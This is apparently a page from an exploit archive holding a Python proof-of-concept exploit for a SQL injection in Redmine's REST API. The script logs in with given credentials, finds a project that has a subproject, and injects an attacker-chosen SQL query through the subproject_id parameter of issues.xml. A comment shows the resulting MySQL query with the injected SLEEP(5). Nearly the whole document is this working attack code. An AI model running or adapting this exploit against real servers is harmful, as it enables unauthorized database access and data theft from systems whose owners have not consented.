4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/python

import sys, getopt, requests
from base64 import b64encode
import xml.etree.ElementTree as ET

#Requirements: 
# + Access credentials
# + Subproject is required
# + REST API is enabled


#On Mysql the first query on which injection occurs looks like with the "-SLEEP(5)" being the injected part:
#SELECT COUNT(*) FROM `issues` INNER JOIN `projects` ON `projects`.`id` = `issues`.`project_id` INNER JOIN `issue_statuses` ON `issue_statuses`.`id` = `issues`.`status_id` WHERE (((projects.status <> 9 AND EXISTS (SELECT 1 AS one FROM enabled_modules em WHERE em.project_id = projects.id AND em.name='issue_tracking')) AND (((projects.is_public = 1 AND projects.id NOT IN (SELECT project_id FROM members WHERE user_id IN (4,2))) AND ((issues.is_private = 0)))))) AND ((issues.status_id IN (SELECT id FROM issue_statuses WHERE is_closed=0)) AND projects.id IN (1,2,3-SLEEP(5)))

#proxies for debug
proxyDict = { }

def main():
    if len(sys.argv) != 5:
        print("(+) usage %s <RHOST> <USER> <PASS> <query>" % sys.argv[0])
        print("(+) e.g. %s http://localhost/redmine user pass \"SLEEP(5)\"" % sys.argv[0])
        sys.exit(1)
    t = sys.argv[1]
    u = sys.argv[2]
    p = sys.argv[3]
    q = sys.argv[4]
    projectid = checkforsubprojects(t, u, p)
    if projectid == "":
        print("(-) There are no subprojects available...")
        sys.exit(1)
    exploit(t, u, p, q, projectid)


def exploit(url, username, password, query, projectid):
    try:
        urlquery = url + "/issues.xml?project_id=%s&subproject_id=2,3-%s" % (projectid, query)
        upass = username + ":" + password
        upass = upass.encode("utf8")
        userAndPass = b64encode(upass).decode("ascii")
        headers = { 'Authorization' : 'Basic %s' %  userAndPass }
        r = requests.get(urlquery, headers=headers, proxies=proxyDict)  
        print("(+) Injection succesful!")
    except ValueError:
        print("(-) Something went horribly, horribly wrong...")

def checkforsubprojects(url, username, password):
    try:
        urlquery = "/projects.xml"
        fullurl = url + urlquery
        upass = username + ":" + password
        upass = upass.encode("utf8")
        userAndPass = b64encode(upass).decode("ascii")
        headers = { 'Authorization' : 'Basic %s' %  userAndPass }
        r = requests.get(fullurl, headers=headers, proxies=proxyDict)
        data = r.content
        tree = ET.fromstring(data)
        for elem in tree.findall('project'):
            for project in elem.findall('parent'):
                projectid = project.get('id')
                print("(+) ProjectId %s with a subproject was found succesfuly!" % projectid) 
                return projectid
    except ValueError:
        print("(-) Something went horribly, horribly wrong...")
        return ""

if __name__ == '__main__':
    main()